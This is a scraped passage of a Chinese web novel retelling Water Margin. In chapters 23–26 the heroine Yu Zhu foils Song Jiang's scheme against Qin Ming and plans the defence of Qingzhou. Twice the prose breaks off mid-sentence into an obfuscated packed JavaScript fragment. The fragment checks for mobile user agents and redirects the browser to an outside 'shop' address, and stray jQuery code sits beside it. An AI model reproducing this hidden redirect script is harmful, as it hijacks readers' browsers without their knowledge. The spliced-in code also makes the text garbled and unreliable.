“哈哈哈!”话音刚落,宋江便仰天大笑起来,笑罢,见周围人都好奇地看着自己,这才掇了下长袖,将那燕顺从地上扶起来:“兄弟此事已是马到成功,只要官府认了那秦明已反即可,定不会饶他家人性命,大事可成!” 花荣闻言,似是有些不放心,又追问燕顺道:“你说领头那官儿是个什么职务?多大年纪?生得什么样子?” 燕顺自从被捉了押进那屋,哪里抬起头过,此刻为证实自己话语的可信度,只好勉力回忆道:“年纪不大,二十出头的样子,样貌白净俊秀,听得别人喊他‘通判’。” 花荣点了点头:“那青州新任通判叫韦暄,姑姑是赵官家的妃子,据说年纪轻轻,在东京得罪了人被调至此处,想来该是不错了。” 宋江听花荣这么说,更是笃定:“偏是这等官宦之家出身的人,最在意御赐之物,他以为秦明将御赐甲胄借予燕顺兄弟,故而大发雷霆,必是饶不了秦明,如此,那便答应他,将秦明放回去,好换回清风山的兄弟啊。” 王英在一旁听了半天,这会儿才反应过来,发出了自己的第一个疑问:“啊?那岂不是坏了秦统制性命?” “欸,非也非也。”宋江黝黑的脸上绽出一点笑意,“待官府要斩首之际,我们再去救得秦明性命,他才能彻底绝了归路,一心一意投奔于我们!” * 且说郁竺在城外演了一出女扮男装狐假虎威的戏,待放走燕顺后,留下五十人看管那些贼寇,便和武松回府衙向韦暄复命。 韦暄在府衙等到半夜也不见秦明有音信传来,心里揣测道难道真的大事不好?秦明性情如火,必是快攻快破,若是一切顺利,早该回来才是。 身旁吴胜却不以为然,道是山贼草寇再有些三脚猫的功夫,又如何抵挡得了官府的大军。 韦暄不欲和他争辩,他知道吴胜和秦明有故交,因此郁竺在城外安排人马的事情,他便自觉地对吴胜三缄其口了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14080973|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >正焦躁间,却见二人从门外进来,他也顾不得郁竺一身稍显奇怪的装扮,连忙问道:“如何了?” “果然不出我所料,秦统制音信全无,我们守到二更四点,方才见得一群贼人穿着秦统制的甲胄下山劫掠,连忙将人拿下,从那人口中得知秦统制果真被俘上山,山寨头领想以此栽赃的手段断了他的归路,叫秦统制投身贼寇,用心不可谓不险恶。” 郁竺未给任何人插话的机会,一口气将情况说完,内心却是有些愤怒的。 原著里宋江和吴用经常一拍即合,动辄便想赚人上山,却尽干些灭人满门、丧尽天良的事,秦明就是宋江下手的第一个冤大头。 她想到原本要枉死在贼寇手下的城外那一百多户人家,还有城内秦明满门上下,心里便止不住发寒。 幸亏,这次应该是救下了吧。 韦暄听闻此言,总算是舒了一口气:“果真如此,多亏郁姑娘料事如神,不然可就酿成大祸了呀。” 倒是吴胜皱眉道:“秦统制被捉拿上山,全是你无端猜测一面之词,你怎知那些山贼不是扯谎乱我军心。” 郁竺早知道他会由此怀疑,幸亏她扒了燕顺的衣服留了个证据,便使了个眼色给武松。 武松接收到郁竺的暗示,默契地将那龟背甲拿了出来,又道:“还有个百十余斤的狼牙棒,拿着不便,我就放在军器库了,吴老可要去看一看。” 证物一出,吴胜瞬间闭了嘴,行军打仗的将领,衣服和武器都被人拿了,不是被俘虏,难道是敌人偷的吗?纵使他再如何能言善辩,此刻也说不出什么“秦统制未必兵败”之类的话了。 “唉,虽是不幸中的万幸,可是秦统制毕竟折损了不少军士,按我大宋律令,也是死罪可免,活罪难逃呀。”韦暄嗟叹一声,“只是这贼寇还未曾剿灭,若再来劫扰,该如何是好呢?” 此事郁竺也是无解,宋朝重文轻武严重,对武将兵败的处理十分苛刻,只得劝道:“我已放回那个头领,让他回山寨报信,用秦统制换回被我等俘虏的那些贼寇,想必明日一早就能归来了,还是等他回来再行计较,能将功折过最好。” 吴胜听到郁竺的话又来了劲:“你竟敢做主放了贼寇?” “明日秦统制回来了,那些贼人放不放还不是大人一句话,岂用得着你我在此忧心。”郁竺终是忍不住怼了吴胜一句。 再说了,官兵抓土匪的事儿,犯得着在这边讲义气守信用吗? 自己方才和燕顺说出交换人质,谁都看得出是哄骗之计,也不知吴胜是哪根筋搭错了,竟然在这上面找她岔子。 韦暄见状,也有些厌烦吴胜这幅样子,没有再打圆场,直接道:“郁姑娘说得对。好了好了,现在不说这些,抓紧时间去休息,这些细节明早再做计较。” 对此郁竺从善如流。她也是忙了半夜,明日之事还需打起精神应付,此时自然是休息重要。向几人告退后,便回到房间,匆匆洗漱一番,和衣而眠。 刚闭上眼睛却听到一个久违的声音在脑中响起:“宿主你要不要看一看任务完成情况?” 浪了这些天的郁竺已经快要忘记掉系统的存在了,这会儿才猛然想起来:“对噢,瓦砾场这一次算是一个小小局部战役吧?” “当然啦,300点奖励已经发放到背包啦!” 郁竺闻言兴奋起来,看了看可兑换的物品,却又叹了一口气:“算了,想要的买不起,买得起的不想要。” 系统:“好吧,那宿主先攒着吧。” 郁竺:“唉,我们踏踏实实搞事业的人啊,就是不怎么会用金手指呢。” 系统:“?” * 夜色悄然淡去,太阳慢慢从山头爬起,山风穿过凋敝林木发出刺耳的声音。 秦明昨日吃了掺有蒙汗药的酒,睡得昏昏沉沉,果真如王英所言,直到辰时,阳光透过窗棂洒在他的脸上,才悠悠转醒。待看清周围环境后,连忙从床上跳将起来,匆忙洗漱一番,便要下山。 宋江等五人也不拦他,只是客客气气地道歉:“秦统制,山寨管教不严,昨日不知哪个蟊贼将统制的甲胄军器偷去卖了,我等知其乃御赐之物,十分贵重,却遍寻不得,只能赔些金银给统制,望统制见谅。” 宋江一推二五六,直接将昨日他派下山的喽啰,打成了偷甲胄的蟊贼。 秦明闻言,环顾四周,果然不见自己龟背铠和狼牙棒。 那龟背铠并不贵重,自己穿着习惯罢了,狼牙棒倒是件趁手兵器,要重新打来有些麻烦,只是皆非御赐之物。他便只当宋江这话是刻意捧着自己,也不去纠正,道:“欸,算了算了,都是身外之物,无需介怀。” 他下山心切,不欲在此事上纠缠,象征性地拿了一个金饼,便打马直奔青州城去。 24.第 24 章 秦明自清风山打马而下,未着甲胄,身上衣袂翩飞,心也跟着七上八下。 此次出征不利,带去的五百人马,大半死在了山里,剩下的一百七十多人,连同七八十匹好马全被生擒了去。 按照《宋刑统》,他此番败绩下来,轻则罢官,重则脊杖流放。虽说此前在山上时,他因担心污了父母遗体,强撑着不肯落草,但此刻离青州城愈近,愈是近乡情怯,不由悲从中来。 至巳时前后,秦明方到青州城下,还未近得了城,却见城外村子道口立了三四个人似在等候自己,不由放慢了马蹄。走近一看,却是之前有过几面之缘的青州通判韦暄,还带了些手下立在左右。 州通判是正六品,而自己这个州指挥司统制只是从七品,且大宋历来以文官为重,秦明此刻只好勒马翻身下来,准备走近些向韦暄见礼。 只是心里却在犯嘀咕——这韦暄远远跑到城外等自己有何目的? 他身边那个散从吴胜,倒是自己母亲家的一个远方亲戚,此人素来与自己并无来往,近些日子才欲攀附自己,他自是不喜,便也没给过他什么好脸色看。难不成是他猜到自己打了败仗,撺掇着特意来看笑话? “秦明见过通判大人。” “这等虚礼就免了,我在此处等统制,是有要事相告。”韦暄连忙将秦明扶起身,转身示意武松,后者取来一样东西,上前几步交给秦明。 秦明一看,这不正是宋江口中,被蟊贼偷走的龟背铠么,顿时大惊道:“大人哪里来的此物?” “还有这个。”武松将身后的狼牙棒也一并交给秦明。 “这正是我提前在此处拦下秦统制的原因。” 韦暄将昨夜城外有贼寇扮作秦明烧杀抢掠一事简要说了,又道:“秦统制可是被俘虏上山?” 秦明早已听得呆住了。 他是万万没想到,昨日在上山还好酒好肉待他的所谓绿林好汉,竟想出这般阴毒的招数断他后路,差点害得他满门俱亡。 此刻,自是恨不得将牙咬碎,顾不得韦暄问的话,直接啐道:“无耻宋江小人!竟敢这般坑害我!” 郁竺明显感觉身后的武松闻言一顿,回首看去,只见他眼里满是不可置信。 “统制休要如此说。”韦暄赶紧将眦目欲裂的秦明打断,提醒道,“被俘虏上山一事,切不可对旁人说起了,就怕万一有人有心利用,诬告统制连结贼寇,那就有口难辩了。” 秦明闻言方才稍微冷静下来一点,他深知韦暄所言极是,立刻拜道:“大人大恩大德,秦明没齿难忘!” 韦暄连忙将秦明扶起:“统制只当时兵败后独自逃脱,尚且有机会将功赎罪,再想办法将被俘将士救回便是。” 说罢又侧身,指着郁竺和武松向秦明介绍道:“秦统制无需谢我,便是我手下郁姑娘和武教练猜到可能会有此事发生,多了个心眼,提前布置,才免了一场惨剧,谢过他们便是。” 秦明这才将目光落到韦暄身后的男子身上,只见他身高九尺,相貌堂堂,看样子便是功夫高强的之人,不由得心生亲近之意:“多谢义士,敢问尊姓大名?” 至于武松身边的郁竺,他自然是瞥了一眼就选择性忽略了。 武松此刻还沉浸在“宋江是个白切黑”的震惊中没回过神来,被郁竺轻轻碰了下胳膊才反应过来秦明是和自己说话,一时间竟然不知道该回什么。 郁竺只好替他答道:“这位是我兄长武松,我叫郁竺,都是在韦通判手下做事,此次伏击也是碰巧,不值一提。” 见是那女子回答,秦明这才又赏了郁竺一个眼神,心道:这女子真会夸大,我谢她兄长,干她何事,这般抢着说话。但转念一想,毕竟是韦通判抬举的人,刚刚才承了韦通判的情,也罢,做做样子便是。 于是,秦明敷衍地朝郁竺一拱手:“多谢。” 郁竺看秦明神色,便将他心里这些弯弯绕猜了个七八分,倒也没有生气,她受冷眼都习惯了,不差这一人。 * 果真如韦暄所言,秦明一回青州,便被慕容彦达以“败军辱国”的罪名囚禁起来,郁竺捉来的那二十多个山寨喽啰也被一起下了大狱。 因秦明这次出征将青州的守备兵力几乎打空,慕容知府担心贼寇反扑,连忙派人修书去中书省,要请朝廷大军来征剿扫荡清风山,以绝后患。 只是这消息不胫而走,迅速在民间流传开来,短短数日,竟是连清风山寨上的大小头领都知道了。 原来,宋江早在秦明回青州后,便派探子日日去打听消息,准备来个“青州劫法场”,将秦明救上山,却迟迟未探得他要被斩首的讯息,这才反应过来,怕是中计了。 他思忖着,那秦明回去定然会将自己“山东及时雨”在清风寨一事大肆宣扬,这草寇的帽子是摘不掉了,不禁长吁短叹,此刻又听闻朝廷将率大军征讨,一时慌得如热锅上的蚂蚁,还是花荣提议,将山寨大小头领召集起来商议对策。 聚义厅内,火光熊熊,映照得每个人的脸庞都异常凝重——清风山寨小,朝廷大军压境,一旦被围,必将陷入绝境。 会议自卯时起始,一直持续至午后,清风山的喽啰们静默地守在门外,饥饿的咕咕声和呼啸的山风交织在一起。 直至未时末刻,厚重的木门才被从内拉开,才见宋江缓步而出,仰天长叹:“不是我宋公明不愿忠于朝廷,只是这世道容不得我这样做人。” * 夜晚,青州城。 武松从白天见到秦明后,状态就不对劲了起来,一天里整个人都恍恍惚惚,此刻衙门下了锁,他却一个人晃悠出了府衙。 郁竺放心不下,便悄悄跟着。 月光细纱般覆盖在街道上,武松在这细纱上走了一会儿,转身寻了处正店打了一壶酒,然后悠悠漫步到南阳河边。 夜色下的南阳河像一条银色的缎带,南北横穿青州城,穿过古老的水门,蜿蜒着流向城外。 武松找了块干净的石阶坐下,静静地望着河面,未几,扬声道:“妹子跟了一路,不来饮一两杯?” 郁竺不意外他能知晓自己跟着,也不扭捏,走到他身边:“兄长好耳力。” 枯败的柳枝挂满了霜白,随风轻摆,发出沙沙的声响。 “兄长可是在为一个人烦恼?”郁竺径直问道。 “妹子如何得知?” “我听秦统制提到‘宋江’时,兄长脸色便变了。” 武松不做声,良久方道:“妹子还不知我之前的事情吧。” 郁竺当然知道,甚至细节都很清楚,但是她依旧轻轻“嗯”了一声。 于是,武松开始对着湖面倾诉。 “众人都知我打虎,仿佛我的人生也是从打虎才开始的,其实并非如此。” “我此前落魄,惹了事,躲到柴进柴大官人庄上,虽是吃喝不短,但却饱受冷眼,得了疟疾也无人管,独自在廊下烤火,却被一人踩翻了铁锨,炭火掀了我一脸,我当即怒得要打那人。” 说到此处,武松似是想起了什么美好的回忆,陡然轻笑了起来。 郁竺也跟着笑,宋江和武松的初遇这一段她读过很多遍了,每次读来都有一种宿命般的相遇感,只是,“人生若只如初见”适用于大多数关系。 武松得到了郁竺的 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武松说到此处已经完全放松下来,他半倚在石阶上,长腿轻轻支着。 郁竺知道宋江对于他的特殊意义。他本就是个冷淡的人,只有对极少数在意的才会放在心上,宋江就是其中之一。 因此,哪怕后期他和宋江对于招安一事已经出了很大的分歧,但理念不同,感情还在,他始终做不到像公孙胜那样,抛下他的“公明哥哥”云游四野。 但宋江对武松也是如此真心实意吗? 郁竺不这么认为。 武松断臂之后,宋江说了六个字“武松已成废人”,返京之前他不愿回京受赏,宋江又说了四个字“但凭你心”。 前后十个字,凉薄至极。 因此,郁竺始终觉得,宋江就是一个成熟的政治机器,他在柴进府上对于武松的好,不过是他惯常的表演罢了。可惜武松此前不曾体会过这种温暖,一下子就“沦陷”了。 或许这一次,让武松提前看清宋江的面目也是一件好事,毕竟这是他早晚要跨过去的一个坎儿。 想到此处,郁竺轻轻说道:“兄长还记得我给你讲的那个梦吗?” 武松点了点头。 “我后来在梦中也梦到过此人。” “兄长不信?他本是山东郓城一个押司,家里还有一个兄弟叫宋清,是不是?” “他现在逃到清风山,是因为失手杀了一个叫阎婆惜的烟花女子,为了躲避官府追捕,来投奔花荣的。” “他派人陷害秦统制一事,我也是在梦里预知的。” 这个时空的武松,没有在孔家庄遇到宋江,自然不清楚这些关节,他震惊地看了郁竺一眼,艰涩道:“然后呢?” “然后……他好像是落草了,还是当官了,我也记不清了。” 郁竺含糊带过,这一世不会发生的事情,就不要让武松知道了吧。 “梦里或许都是虚妄,我只是想告诉兄长,什么为了‘义气’的话,都是假的,我活了这么些年,只知道人应当为自己而活。” 武松看向郁竺,轻轻笑了一声:“你才多大,说话这般老沉。” 也是,自己这具身体才十六岁,想到这儿,她向武松回过去一个人微笑,却见武松直直地盯自己。 郁竺有些不自在,方想开口,却看见武松眼睛里突然闪起的火光。 她猛然回头,城外一声巨响,地面的碎石弹起。 郁竺被震得回不了神,半响才猛得转过来,看向武松。 二人眼睛里闪着同样的疑惑。 谁打来了? 25.第 25 章 虽说在电视剧里看过无数次攻城掠寨的场景,但那总归有一种虚构的遥远,而此时郁竺第一次直面冷兵器时代的战事,不禁被那巨大的动静震住了。 武松倒是镇定许多,他拉起愣在原地不动的郁竺道:“走,先回府衙。” 郁竺这才回过神来——眼前的场景可不是演戏,不管外面是谁,总归来者不善,速速通知韦暄才是。 此时城门紧闭,靠近外城的不少居民,也因为这个巨大的动静纷纷涌出家门,四处夹杂着孩童的哭闹声。 郁竺和武松逆着人流,费尽九牛二虎之力,气喘嘘嘘跑到府衙,却见慕容彦达、韦暄等一州官员已聚在厅内,就连被囚禁的秦明也不知何时被慕容彦达放了出来。 显然他们也听到了那声巨响,迅速集结商讨对策。 慕容彦达坐在太师椅上,面上竭力保持镇定,却忍不住双股战战,敝膝都在轻轻抖动。 见武松和郁竺来了,韦暄颔首示意,两人便轻手轻脚绕道他身后,只听他压低声音,语速极快道:“定是草寇来犯,方才知府大人已派人去探明情况。” 郁竺点点头,青州和北方的辽国之间还隔着广阔的河北地区,西夏更是遥不可及,外敌来犯的可能性微乎其微,因此来袭者很可能是附近的山寨贼寇。 只是,这些贼寇竟胆大包天,敢于直接夜袭攻城,这着实出乎郁竺的意料。莫非是宋江被自己算计后,急于报复,孤注一掷了? 还未容她细想,便有一个军校来报:“大人,天太暗了,难以看清全貌,约莫两千多个贼人来犯,领头的有好些个强贼,中间那个认得,便是那清风寨的花荣,旁边的看不太清,也不认识,只分辨得出一个胖大和尚。” 慕容彦达只一听“两千多个贼人”,就差点从椅子上滑下来。 按照宋朝的地方军事制度,青州城内驻守的厢军总共不过七百余人,而秦明此前带出去的五百精兵,已是全军覆没,如今整个青州城内所能调动的兵力,勉强凑得二百余人。 慕容彦达深知官兵的战斗力,面对敌众我寡的形势,心中已然明了——这场战斗几乎没有胜算。 他仿佛已经看到匪寇的刀锋劈向自己的头颅,脸色青一阵,黄一阵,像个成精的冬瓜,惊慌间环顾四周,猛得指向秦明:“都是你,输了不成,还白白惹恼了贼寇。” 秦明气得额前的碎发横飞,可偏偏他确实打了败仗,只得暗暗咬牙,强忍怒火。 似乎指责别人,给了他更多的勇气,慕容彦达又将矛头指向韦暄:“那些贼寇最重义气,若不是你背着我在城外设伏,拿了那些贼寇许多兄弟,他们如何会来寻仇?” 韦暄被他这番话噎得无言以对,郁竺安排人在城外伏击的事情,他担心慕容彦达知道后多事,便未事先禀报,事后将俘虏的二十几个贼寇带回来后,才含糊提了下,不想这时候竟然被慕容彦达当做把柄拿捏。 慕容彦达的想法很简单,虽然这些贼寇一直滋扰百姓,可只要不抢到他慕容知府头上,杀再多的百姓,都是无关紧要的事情。剿匪之事,若能取胜,自然是政绩斐然;可一旦失败,那就是赔上性命的买卖,他自然不愿干这种傻事。 他心里这会儿又怕又恨,只怕是贼寇要秦明和韦暄的脑袋,他都会立刻将人捆了送上。 韦暄看着慕容彦达这幅样子,就知道指望这位知府大人指挥全州兵士剿匪,无疑是痴人说梦。 他转而看向秦明,随后对慕容彦达深深一揖:“知府大人稍安勿躁,待我和秦统制去城楼上会一会贼人,再做商议。” “快去快去,莫要在此啰嗦!”慕容彦达没好气地甩了甩袖子。 * 青州城依北朝南而建,城墙巍峨。此刻,南方的地平线上,数柄火把正如流星般划破黑暗。 韦暄命秦明先行将城内的仅剩的二百余名兵士迅速集合到青州城南正门——阜财门附近,这才带着武松和郁竺匆匆赶去。 至于吴胜,韦暄则以他年事已高、战场凶险为由,留在了府衙以备不时之需。 从府衙到阜财门的路上,满是惊慌失措的百姓。 青州太平久矣,他们还未见过这等场景,收拾细软、匆忙奔逃者比比皆是,更有蟊贼趁乱抢劫人财物。韦暄见此情景,心急如焚,却也无暇他顾,只能埋头向南门奔去。 一行人赶到南门时,阜财门的守将正站在城头上,指挥着先行赶到的部分军士列阵。他余光瞥见韦暄带人来了,连忙奔上前来,单膝盖点地,抱拳道:“卑职马军押官邝英,见过大人。” 韦暄摆了摆手,急切道:“邝押官,可探明城下贼寇到底是什么来历?清风山有这般多的人马?” 邝英擦了擦额头渗出的汗:“大人,看得不是太真切,但听方才叫阵,除了清风山还有二龙山和桃花山的贼寇。” 郁竺闻言恍然大悟,方才她听军校禀报说有个“胖大和尚”,便猜是鲁智深率二龙山前来支援,心里不由得犯嘀咕——难道原著里的“三山聚义打青州”提前了? 可想想又觉得不得要领,孔明孔亮这会儿还没上白虎山呢,哪里来的三山? 现在算是明白了,原来是清风山替了白虎山,这也是另一种意义上的“三山聚义”了,世事真是变幻莫测。 韦暄听到“三个山的贼寇”时,不禁倒吸一口凉气,脸色瞬间变得凝重,追问道:“你可看清了?真有两千多人马?” 邝英摇了摇头:“虽是看不太真切,但我也大概点了下人数,并无他们宣称的两千人之多,只那二龙山和清风山稍稍多些,总共也不过四五百人罢。” 郁竺心中暗自松了口气——这才符合常理,先前听那军校禀报时,她便觉得难以置信,整个青州才十六万百姓,如今三山也还处于发展状大初期,又怎么会有两千人之多?要是真有两千能作战的悍匪,慕容知府怕是早就被捉上山做“人心醒酒汤”了。 韦暄听闻人数虽减,但仍有四五百之众,是官兵的两倍,心中刚刚燃起的一丝希望瞬间熄灭,脸色变得煞白。 他从未经历过战场的风雨,如今却要挑起保卫青州的重任,这份压力让他几乎窒息。 恰在这时,秦明带着点好的军士列阵走来,韦暄仿佛看到救星一般,急忙迎上前去:“秦统制!” 邝英也是个机灵人,没有等韦暄吩咐,便迅速将城外的情况向秦明复述了一遍。等他说完,韦暄艰涩地对秦明道:“韦某是文人出身,从未带兵打过仗,此次还得仰仗秦统制了。” 秦明听了,将那狼牙棒单手抡到身后,咬牙道:“这次就是粉身碎骨,也得将那贼人击退,一雪前耻。” 韦暄见秦明如此凶悍,心中的焦虑稍稍缓解,他深吸一口气,努力让自己冷静下来,二人边往城楼上去,边商讨着退敌之策。 郁竺也紧随其后踏上了城墙,只见往下看去,远处似一片咆哮的黑海,星星点点的灯火点缀在海面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099891|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,远远看去,人头攒动,确实骇人。 回想起最初那声震耳欲聋的巨响,应该是大炮轰击城墙的声音。然而,自那之后,大炮却再也没有动静,想来是炮弹十分有限,否则绝不会只轰击一下后便停下来叫阵。 说起来贼寇有大炮一事,还是有点出乎郁竺的意料的。她来此处后看过军器库的储备,整个青州也就两座霹雳炮,射程大约在一百米左右,也不知底下那座大炮是这些贼寇从哪里剿来的。 不过无论从哪里弄来的,重要的是他们炮弹不够,大炮在攻城中发挥不了多少作用,而守军的炮弹却是充足的。 想到这里,郁竺的心情稍微放松了一些,脑子也逐渐活络了起来,仔细起前面听秦明和韦暄商议的对策。 二人慷慨激昂,唾沫横飞。 郁竺本来还有些不确定,却越听越有一种荒谬感——秦明好像是真的打算出城和敌方决一死战了。 尽管郁竺军事上也是个半吊子,水平局限于在军事论坛指点江山,却也明白这种情况下,仗不是这么打的,以少胜多的条件现在是一个不占。 难不成真要秦明出去单挑吗?虽说水浒故事里,主将一对一好像是常态,但实际情况下这等于去送死。 想到这儿,她终于忍不住开了口:“韦大人,卑职有一愚见,可否听我一言。” 秦明闻言,这才仔细打量了下这个跟在他们后面,身材矮小的人,发现正是早上那“有意吹嘘”自己的女子。他有些不耐烦——这千钧一发之际,哪容得下一个女子在此卖弄? 正欲开口打断,却听韦暄急切道:“快快说来。” 见韦暄已先开了口,秦明只好按捺下心中的不悦,心想:我且听听这女子能说出什么名堂来。 “诸位大人一直都在为敌众我寡烦忧,然而在我看来根本无需担忧此事。”郁竺话一出口,竟是推翻了二人商议许久的事情,秦明不由得一皱眉。 第一句话说出来,后面的就顺畅了,郁竺干脆不再看周围人,一口气道:“诸位大人认为青州守备兵力不足,是以‘战’为前提的。然而,私以为,‘战’和‘守’是不同的,战需要真正的兵士,守却不一定。对于贼寇来说,他们是战,而对于我军来说,是守。” “青州有十数万百姓,虽不能战,却可以参与守,如何称得上没兵呢。” 郁竺话说到一半时,秦明脸上那种不耐烦的神色就已经消失了,取而代之的是恍然大悟——他作为一个武将,是有着丰富的经验和一定的军事常识的,只是他性情冲动,刚吃了败仗,又被慕容彦达挑的心烦意乱,这才忽视了这个事实。 如今被郁竺一语点破,脸上不禁有些红温,只不过他本就面如枣色,看不太出来罢了。 韦暄向来信任郁竺,此刻又看到秦明神色的变化,更加确信她的话言之有理。于是,他追问道:“那依你看,我们该如何守呢?” 郁竺环顾四周,发现不少守在城墙上的士兵和一些低级别的军官已经被自己这边的动静吸引,正目不转睛地看着自己。 她心中不禁闪过一丝微妙的得意,心跳也随之加快,但随即又迅速驱散了这个念头。 刚刚的一番话,已经将她推到了一个重要的位置上,而接下来的每一句话,都可能影响到这一城百姓的命运。 这份沉重让她迅速收敛起所有的杂念,将全部的注意力集中到眼下。 “以卑职浅见,做好三点即可。” 26.第 26 章 “三山匪寇虽说一直以来对州县侵扰不断,但却从未有过如此聚集人马攻打州府之事,形同造反。怕是大军征讨的事情走漏了风声,才是使得这些贼寇狗急跳墙,他们必然会使出全部的力气,想在朝廷大军到来之前破了青州州府。因此人虽少,困兽之斗却不可轻视。” 说到此处,郁竺不禁皱了下眉头,见周围众人皆屏气凝神专注地听着,便接续道:“故而,以下三点尤为重要。” “第一,稳住阵脚、修筑工事。如今他们着急,我们偏要以不变应万变。只要对方不攻城,今夜我们就严加戒备,不轻易出城落入敌军套路。只管修筑工事,等天亮了再做谋算。” 她语调沉稳,这番话一出,让不军士原本慌乱的神情稍稍缓和了些,有些人微不可查地点了点头。 “第二,安抚百姓、斩断流言。方才来此途中,诸位大人也有所目睹,城中百姓已然自乱阵脚,慌忙奔逃者不计其数,怕是放任下去,流言四起,我青州城只怕要不攻自破了。” 说到此处,她看了眼韦暄的神色,加重了语气:“大人,当下之急,当速遣人抚慰民心,令百姓闭户不出,如此,方能截断流言蜚语。” 四周军士听闻此言,交头接耳窃窃私语起来,郁竺却不管他们所谈何事,径直道出第三点。 “第三,组织民壮,共御贼寇。虽说军士仅有二百余人,但城内可调遣的民壮不在少数,最好能组织起来,凑够一只三百人的队伍,能和守城的士兵混合编伍,交替守城,做好长久御敌准备。” 一口气说完这些,郁竺只觉得畅快无比,仿佛心头一块大石头落了地。她看了眼韦暄,忽然像是想起了什么,赶忙补了一句:“自然,至于如何具体调度行事,尚需通判大人与统制大人悉心商议而后定夺。” 毕竟他们二位才是主帅,自己再得意也不能众人面前越俎代庖,夺其锋芒。 方才一番话,她绞尽脑汁、搜肠刮肚,方方面面都已在脑子完善许久,虽说不乏军事论坛上看来的网友评论,那也是几千年的经验总结,含金量不可谓不高。 韦暄听罢,只觉得豁然开朗,原先纷飞杂乱的心神渐渐定了下来。郁竺所言不少也是他在书中读过的,只是人一旦遇事,就容易急躁慌乱,加上秦明又是个急性子,两人差点酿成大祸。 现如今,郁竺这般提纲挈领将要点一一拎了出来,他顿时心里有了底,自然知道接下来该如何去做了。 韦暄在城墙上略作思忖,不过片刻工夫,便匆匆拾阶而下,在城门下寻了处高点。 他站定后,举目环顾四周,见不少府衙的官吏也都聚集到城门前,众人面色各异。 韦暄深吸一口气,竭力稳住自己的声音,直接在此发号施令:“诸位且留步,慕容知府委以重任,令我在此督战。如今贼寇尚未攻城,局势虽紧,但我等切不可自乱阵脚。在此一应官员,皆需听我指挥,不得有违!” 说罢,韦暄目光扫过众人,最后落在一位年逾五十的老官员身上:“于推官,便由你即刻率人于城中巡逻,严禁百姓在街上随意行走。但凡有趁火打劫偷盗之徒,或是散布谣言惑乱军心者,无需多问,就地斩首示众!城内若因这些宵小之辈而起丝毫乱象,便唯你是问!” 那于推官在青州府衙任职多年,也算是有头有脸的人物,平日里受人敬重,何曾被一个初出茅庐的后生如此疾言厉色地命令过。 他一听这话,顿时面色一沉,心中虽知此刻是非常之时,对方亦是自己的上官,但那股子傲气却让他难以咽下这口气,当下便梗着脖子反驳道:“大人此言差矣!《宋刑统》有明文规定,未经提刑司复核,我等州县官员岂可擅自杀人?大人此举,怕是于律法不合吧!” 于推官这一番反驳,声音洪亮,周围的官吏们听闻,不禁面面相觑,已有几人暗暗皱眉。 韦暄本就是初次处理这调兵遣将的紧急事宜,于推官突如其来的反问,一下子将他原本想好的腹稿搅得七零八落,整个人顿时僵在了原地。 郁竺一看韦暄耳根发红,暗道不好,也顾不得会不会有抢风头之嫌了,移步到韦暄身边,直接驳斥道:““于大人此言差矣!《天圣令》也有规定,遇到紧急情况,朝廷会暂时赋予知州死刑终审权,而不由提刑司复核,于大人就在青州,难道不知吗?” 经这一打岔,韦暄这才回过神来,不再客气:“于推官连这等律令都未能知悉,想必平日里这差事也办得马马虎虎罢,如此怎能担当此等重任!” 说罢,随手指向于推官身边一个三十多岁的汉子,道:“你叫什么名字。” 那汉子生得一脸憨厚相,此时骤然被韦暄指到,不禁心中一惊,身子微微一哆嗦,却也反应极快,赶忙上前一步,躬身行礼道:“回大人,小人贱名蔡贺,在此听候大人吩咐。” 韦暄上下打量了蔡贺一番,见他虽面露惶恐,眼神中却透着一股机灵劲儿,当下便朗声道:“蔡贺,今日本官便先任命你为代理推官,你且按照刚刚所言,好生去办。倘若城内能保得太平不乱,战后我自会上书中书省,正式荐你为推官。可若是城内因你之故而乱了套,那便唯你是问!你可敢应下此事?” 蔡贺一听,赶忙再次躬身,就差将头埋到地上:“小人谨遵大人号令,定当竭尽所能,保城内太平,绝不敢有负大人所托!” 见韦暄三言两语就将于推官的职权轻巧卸下,面露不服之色的人明显少了。 环视一圈,韦暄微微抬起下颌,再度开口:“丁都头,你且速带人前往军器库,将檑木、火油、弓弩以及大炮等一应守城器械,速速运来南面城墙处,不得有误,需得尽快安置妥当,以备贼寇来袭。” “是。” “徐都头,你这便领人去往阜财门下常平仓,将那五万石粟豆速速运往府衙仓库妥善安置。待此事办妥之后,即刻与丁都头汇合,一同整修楼橹,仔细架设弓弩、大炮。” “是。” “李院长,你即刻将狱卒清点出一半来,而后速速通知各保正,着他们选调民壮。待民壮选调完毕之后,便将这些人交由秦统制统一指挥,此事关乎城防安危,切不可有丝毫懈怠。” “是。” “秦统制,你且先将手头之人分成三拨,分守阜财门、偏门和水门。待李院长将民壮点齐交予你之后,再把每个门的守军细致分为两组,每六个时辰便交换一次防务,以保士卒们能有足够精力守城。” “是。” 待韦暄将诸事安排妥当,众人便纷纷领命散去,各自筹备手中事宜。 此刻的韦暄,第一次独自撑起这大场面,心中不禁涌起一股豪情,直欲冲破胸膛,也不加思考,直接对武松和郁竺道:“我自当去往阜财门亲自督战,那剩下的一个水门与一个偏门,料想当不是贼寇此番进攻的重点。你俩且替我去那两处查看一番,若是无事,便速来阜财门与汇合。” 话音未落,郁竺便上前一步,伸手拦住那恨不得立刻就冲上城门去的韦暄:“大人且慢,尚有一事,还需斟酌一番。” “怎么?” 